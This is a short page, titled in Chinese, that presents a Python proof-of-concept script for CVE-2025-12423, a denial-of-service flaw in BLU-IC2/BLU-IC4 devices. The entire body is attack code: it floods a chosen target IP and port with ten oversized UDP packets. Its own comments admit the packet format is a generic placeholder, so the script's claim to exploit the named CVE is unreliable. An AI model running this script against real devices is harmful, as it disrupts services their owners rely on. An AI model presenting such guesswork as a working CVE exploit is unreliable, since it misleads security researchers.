CVE-2025-12423 BLU-IC2/BLU-IC4 协议操作导致拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-12423 PoC - BLU-IC2/BLU-IC4 Protocol Manipulation DoS Note: This is a conceptual PoC for educational and security research purposes only. """ import socket import struct import sys def create_malicious_packet(): """ Create a malicious protocol packet to trigger the vulnerability. The exact packet structure depends on the specific protocol implementation. """ # Generic protocol header structure (example) header = b'\x00\x01' # Protocol version/type flags = b'\x00' # Control flags # Malicious payload that may trigger the protocol parsing issue # This is a placeholder - actual exploitation requires protocol analysis payload = b'\xff' * 1024 # Oversized or malformed payload # Sequence number and length fields seq_num = struct.pack('!I', 0x00000001) length = struct.pack('!I', len(payload)) # Combine packet components packet = header + flags + seq_num + length + payload return packet def exploit_blu_ic(target_ip, target_port=8080): """ Send malicious packets to trigger CVE-2025-12423 Args: target_ip: Target device IP address target_port: Target device port (default: 8080) """ try: print(f"[*] Starting CVE-2025-12423 exploit against {target_ip}:{target_port}") print(f"[*] Target: BLU-IC2/BLU-IC4 Protocol Manipulation DoS") # Create malicious packet packet = create_malicious_packet() # Create socket connection sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) # Send multiple malicious packets print(f"[*] Sending malicious protocol packets...") for i in range(10): sock.sendto(packet, (target_ip, target_port)) print(f"[*] Sent packet {i+1}") sock.close() print(f"[+] Exploit packets sent successfully") print(f"[!] Check if target service is still responsive") except socket.error as e: print(f"[-] Socket error: {e}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") print(f"Example: {sys.argv[0]} 192.168.1.100 8080") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8080 exploit_blu_ic(target, port)